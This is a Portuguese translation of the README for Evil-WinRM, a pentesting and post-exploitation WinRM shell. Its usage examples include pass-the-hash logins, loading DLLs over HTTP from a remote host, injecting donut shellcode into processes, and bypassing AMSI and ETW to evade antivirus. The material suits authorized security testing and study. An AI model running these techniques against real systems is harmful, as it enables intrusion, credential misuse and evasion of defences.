Evil-WinRM

O shell WinRM definitivo para hacking/pentesting

Banner

Descrição e Propósito

Este shell é o shell WinRM definitivo para hacking/pentesting.

WinRM (Windows Remote Management) é a implementação da Microsoft do Protocolo WS-Management. Um protocolo padrão baseado em SOAP que permite que hardware e sistemas operacionais de diferentes fornecedores interoperem. A Microsoft o incluiu em seus sistemas operacionais para facilitar a vida dos administradores de sistemas.

Este programa pode ser usado em qualquer Microsoft Windows Server com esse recurso habilitado (geralmente na porta 5985), claro, apenas se você tiver credenciais e permissões para usá-lo. Então podemos dizer que ele poderia ser usado em uma fase de pós-exploração de hacking/pentesting. O propósito deste programa é fornecer recursos agradáveis e fáceis de usar para hacking. Ele também pode ser usado com propósitos legítimos por administradores de sistemas, mas a maioria de seus recursos é focada em coisas de hacking/pentesting.

Ele é baseado principalmente na biblioteca WinRM Ruby, que mudou sua forma de funcionar desde sua versão 2.0. Agora, em vez de usar o protocolo WinRM, ele usa PSRP (Powershell Remoting Protocol) para inicializar runspace pools, bem como criar e processar pipelines.

Recursos

Compatível com sistemas clientes Linux e Windows
Carregar scripts Powershell na memória
Carregar arquivos dll na memória contornando alguns AVs
Carregar assemblies C# (C Sharp) na memória contornando alguns AVs
Carregar payloads x64 gerados com a incrível técnica donut
Bypass dinâmico de AMSI para evitar assinaturas de AV
Suporte a pass-the-hash
Suporte a autenticação Kerberos, incluindo também arquivos ccache e kirbi
Suporte a SSL e certificados
Upload e download de arquivos com barra de progresso
Listar serviços de máquinas remotas sem privilégios
Histórico de comandos
Autocompletar comandos WinRM
Autocompletar arquivos/diretórios locais
Autocompletar caminhos remotos (arquivos/diretórios) (pode ser desabilitado opcionalmente)
Colorização no prompt e mensagens de saída (pode ser desabilitada opcionalmente)
Recurso opcional de logging
Suporte a Docker (imagens pré-construídas disponíveis no Dockerhub)
Captura de traps para evitar saída acidental do shell com Ctrl+C
User-agent personalizável usando o padrão legítimo do Windows
Bypass de ETW (Event Tracing for Windows)

Ajuda```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## Requisitos
É necessário Ruby 2.3 ou superior. Algumas gems do Ruby também são necessárias: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
Dependendo do seu método de instalação (4 disponíveis), a instalação delas pode precisar ser feita manualmente.

Outro requisito importante, usado apenas para autenticação Kerberos, é instalar o pacote Kerberos utilizado para autenticação de rede.
Para alguns Linux baseados em Debian (Kali, Parrot, etc.), ele é chamado de `krb5-user`. Para BlackArch, ele é chamado de `krb5` e provavelmente pode ter um nome diferente em outras distribuições Linux.

O recurso de preenchimento automático de caminhos remotos requer o binding nativo `readline-ext`, que é instalado automaticamente como dependência do Evil-WinRM. Alguns sistemas exigem pacotes de desenvolvimento adicionais para compilá-lo. Consulte [a seção abaixo](#Remote-path-completion) para mais informações.

## Instalação e Início Rápido (4 métodos)

### Método 1. Instalação diretamente como gem do ruby (as dependências serão instaladas automaticamente no seu sistema)
 - Passo 1. Instale-o (as dependências serão instaladas automaticamente): ```gem install evil-winrm```
 - Passo 2. Pronto. Basta iniciá-lo!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 2. Git clone e instalação de dependências no seu sistema manualmente

Passo 1. Instale as dependências manualmente: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
Passo 2. Clone o repositório: git clone https://github.com/Hackplayers/evil-winrm.git
Passo 3. Pronto. Basta executá-lo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

### Método 3. Usando bundler (as dependências não serão instaladas no seu sistema, apenas para usar o evil-winrm)
 - Passo 1. Instale o bundler: `gem install bundler`
 - Passo 2. Clone o repositório: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Passo 3. Instale as dependências com o bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Passo 4. Inicie-o com o bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 4. Usando Docker

Passo 1. Inicie o container docker com base na imagem já construída:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

## Documentação

### Senha em texto claro
Se você não quiser colocar a senha em texto claro, pode opcionalmente evitar definir o argumento `-p` e a senha será solicitada, impedindo que seja exibida.

### IPv6
Para usar IPv6, o endereço deve ser adicionado ao /etc/hosts. Basta colocar o nome do host já definido após o argumento `-i` em vez de um endereço IP.

### Comandos básicos
 - **upload**: arquivos locais podem ser auto-completados usando a tecla tab.
   - uso: `upload local_filename` ou `upload local_filename destination_filename`
 - **download**:
   - uso: `download remote_filename` ou `download remote_filename destination_filename`

 __Notas sobre caminhos (upload/download)__:
   Caminhos relativos não são permitidos para uso em download/upload. Use nomes de arquivos no diretório atual ou caminho absoluto.
   Se você estiver usando Evil-WinRM em um ambiente docker, lembre-se de que todos os caminhos locais devem estar em `/data` e certifique-se de que você o mapeou como um volume para poder acessar os arquivos baixados ou enviar arquivos do sistema operacional do seu host local.

 - **services**: lista todos os serviços mostrando se a sua conta tem permissões sobre cada um. Não são necessárias permissões de administrador para usar este recurso.
 - **menu**: carrega as funções `Invoke-Binary`, `Dll-Loader` e `Donut-Loader` que explicaremos abaixo. Quando um ps1 é carregado, todas as suas funções serão exibidas.
 - **clear** ou **cls**: limpa a tela do terminal. Você também pode usar o atalho de teclado `Ctrl+L` para limpar a tela.
 - **exit** ou **quit**: fecha a sessão do Evil-WinRM. Você também pode usar o atalho de teclado `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Carregar scripts do PowerShell

Para carregar um arquivo ps1, basta digitar o nome (é permitido usar a tecla Tab para auto-completar). Os scripts devem estar no caminho definido no argumento -s. Digite menu novamente e veja as funções carregadas. Arquivos muito grandes podem levar um longo tempo para serem carregados.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /
```
   By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
```

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### Comandos avançados
- Invoke-Binary: permite que assemblies .Net sejam executados em memória. O nome pode ser auto-completado usando a tecla Tab. Argumentos para o arquivo exe podem ser passados separados por vírgula. Exemplo: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Os executáveis devem estar no caminho definido no argumento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:

Dll-Loader: permite carregar bibliotecas dll na memória, é equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

O arquivo dll pode ser hospedado por smb, http ou localmente. Uma vez carregado, digite menu e então será possível autocompletar todas as funções.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

Description

Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader: permite injetar payloads x64 gerados com a incrível técnica [donut]. Não é necessário codificar o payload.bin, basta gerar e injetar!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Podes usar este donut-maker para gerar o payload.bin se não usares Windows. Este script usa um módulo Python escrito por Marcello Salvati (byt3bl33d3r). Pode ser instalado usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe

.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !./ \ _ _ .__./ "
X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----" / Y \ / | "x.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI: corrige a proteção AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

Primeiro tens de sincronizar a data com o DC: rdate -n <dc_ip>
Para gerar o ticket existem várias formas:
- Usando ticketer.py do impacket
- Usando Rubeus ou Mimikatz para obter tickets kirbi (a conversão automática para ccache é suportada)
Adicionar o ficheiro do ticket. Existem 3 formas:

export KRB5CCNAME=/foo/var/ticket.ccache

cp ticket.ccache /tmp/krb5cc_0

Usar o parâmetro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache ou evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

Ao usar -K, a ferramenta irá automaticamente:
- Detetar o formato do ticket (ccache ou kirbi)
- Converter tickets kirbi para o formato ccache, se necessário (requer ticket_converter.py ou impacket-ticketConverter)
- Validar se o ficheiro existe e é legível
- Definir a variável de ambiente KRB5CCNAME
- Resolver endereços IP para FQDN para melhor compatibilidade com Kerberos
Adicionar o realm a /etc/krb5.conf (para linux). É importante usar este formato: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }
Verifique os tickets Kerberos com klist
Para remover o ticket, use: kdestroy
Para mais informações sobre Kerberos, consulte esta [folha de referência]

Conclusão de caminho remoto

Este recurso requer o binding nativo readline-ext. O Evil-WinRM o declara como dependência, portanto ele é instalado automaticamente ao usar RubyGems ou Bundler. Se a extensão nativa não puder ser compilada, este recurso não funcionará (um aviso será exibido).

Nota para Ruby 3.3+: ext/readline foi removido do código-fonte do Ruby na versão 3.3 (Feature #19616). Portanto, o Método 1 abaixo não pode ser usado com Ruby 3.3 ou mais recente. Em sistemas baseados em Debian, instale o pacote de desenvolvimento necessário antes de instalar o Evil-WinRM ou suas dependências:``` sudo apt install libreadline-dev

A dependência `readline-ext` faz com que `require 'readline'` carregue o GNU Readline em vez de `reline`, que não possui `quoting_detection_proc`, o método que o Evil-WinRM verifica. Os métodos abaixo visam versões mais antigas do Ruby e são mantidos para compatibilidade.

#### Método 1 (compilar a extensão necessária)

Usando este método, você compilará o ruby com o recurso readline necessário, mas usará apenas a biblioteca sem alterar a versão padrão do ruby no seu sistema. Por causa disso, é o método mais recomendado.

Vamos supor que você tenha em seu sistema baseado em Debian o ruby 2.7.3:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Método 2 (Instalar ruby para usá-lo apenas para evil-winrm usando rbenv)

Vamos supor que você queira o ruby 2.7.1 em um Linux baseado em Debian e esteja usando zsh. Este script automatizará isso. Você precisará executá-lo a partir do mesmo diretório onde evil-winrm.rb e o Gemfile estão localizados (o diretório criado pelo evil-winrm após um git clone, por exemplo):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Então, você pode executar o evil-winrm com segurança usando o novo ruby instalado, com o suporte necessário ao readline, a partir de qualquer local.

#### Método 3 (compilar o ruby inteiro)

Se você quiser compilá-lo você mesmo, pode seguir estes passos. Vamos supor que você queira o ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

Dependendo do seu sistema, ele será instalado em /opt/rubies/ruby-2.7.3 ou talvez em ~/.rubies/ruby-2.7.3.

Agora basta instalar as dependências do evil-winrm para essa nova versão do ruby instalada. A maneira mais fácil é executar o comando /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. O comando gem usado deve pertencer à nova instalação do ruby.

Depois disso, você pode executar com segurança o seu ruby recém-instalado para usá-lo no evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

É recomendado usar esse novo ruby instalado apenas para executar o evil-winrm. Se você o definir como ruby padrão do seu sistema, lembre-se de que ele não possui gems de dependência instaladas. Alguns softwares baseados em ruby, como Metasploit ou outros, podem não iniciar corretamente devido a problemas de dependências.

Logging

Esse recurso criará arquivos no seu diretório $HOME salvando comandos e as saídas das sessões WinRM.

Histórico de comandos

O Evil-WinRM mantém um histórico de comandos persistente para cada combinação de host e usuário. O histórico é armazenado no diretório ~/.evil-winrm/history/ com arquivos nomeados como {host}_{user}.hist.

Quando você se conecta a uma máquina acessada anteriormente, pode usar as teclas de seta (Cima/Baixo) para navegar pelos comandos anteriores. O histórico é salvo automaticamente após cada execução de comando e carregado quando você se reconecta ao mesmo host com o mesmo usuário.

Problemas conhecidos. Erros de OpenSSL

Às vezes, você pode enfrentar um erro como este:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

O erro é causado porque a versão OpenSSL 3.0 descontinuou algumas funções legadas, como MD4, que são necessárias para executar esta ferramenta. Existem diferentes soluções alternativas existentes para lidar com esta situação:

 - Atualize seu sistema para a versão mais recente. Provavelmente, esse problema foi corrigido automaticamente nas versões mais recentes do Ruby que estão usando versões mais novas do OpenSSL.
 - Compile seu próprio Ruby usando o OpenSSL 1.x antigo em vez do OpenSSL 3.0, ou compile-o usando OpenSSL > 3.0 para evitar a problemática versão 3.0.
 - A mais fácil. Edite seu arquivo de configuração `/etc/ssl/openssl.cnf` e certifique-se de que a configuração esteja assim:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

Como alternativa ao último workaround, se o seu sistema estiver usando LibreSSL em vez de OpenSSL ou talvez você simplesmente não queira modificar o arquivo de configuração do sistema. Crie um arquivo simples contendo o conteúdo acima. Qualquer nome pode ser usado, por exemplo evil-tls.conf. Depois disso, exporte uma variável de ambiente para forçar o sistema a usá-lo: export OPENSSL_CONF="/path/to/evil-tls.conf". E então execute a ferramenta, o erro desaparecerá.

Changelog:

O changelog e as mudanças do projeto podem ser verificados aqui: CHANGELOG.md

Créditos:

Equipe:

Cybervaca, (fundador). Twitter (X): @CyberVaca_
OscarAkaElvis, Twitter (X): @OscarAkaElvis
Jarilaos, Twitter (X): @_Laox
arale61, Twitter (X): @arale61

Agradecimentos a:

Vis0r pelo seu apoio pessoal.
Alamot pelo seu código original.
3v4Si0N pelo seu incrível carregador de dll.
WinRb Todos os contribuidores da biblioteca ruby.
TheWover pela sua incrível ferramenta donut.
byt3bl33d3r pela sua biblioteca python para criar payloads donut.
Sh11td0wn pela inspiração sobre novos recursos.
Borch pela sua ajuda na adição do recurso de logging.
noraj pela sua ajuda na manutenção da ferramenta entre versões do Ruby.
Hackplayers por dar abrigo no seu github para este software.

Aviso Legal e Licença

Este script é licenciado sob LGPLv3+. Link direto para a Licença.

O Evil-WinRM deve ser usado apenas para testes de penetração autorizados e/ou fins educacionais sem fins lucrativos. Qualquer uso indevido deste software não será de responsabilidade do autor ou de qualquer outro colaborador. Use-o nos seus próprios servidores e/ou com a permissão do proprietário do servidor.

Ler mais

evil-winrm v4.1

Categorias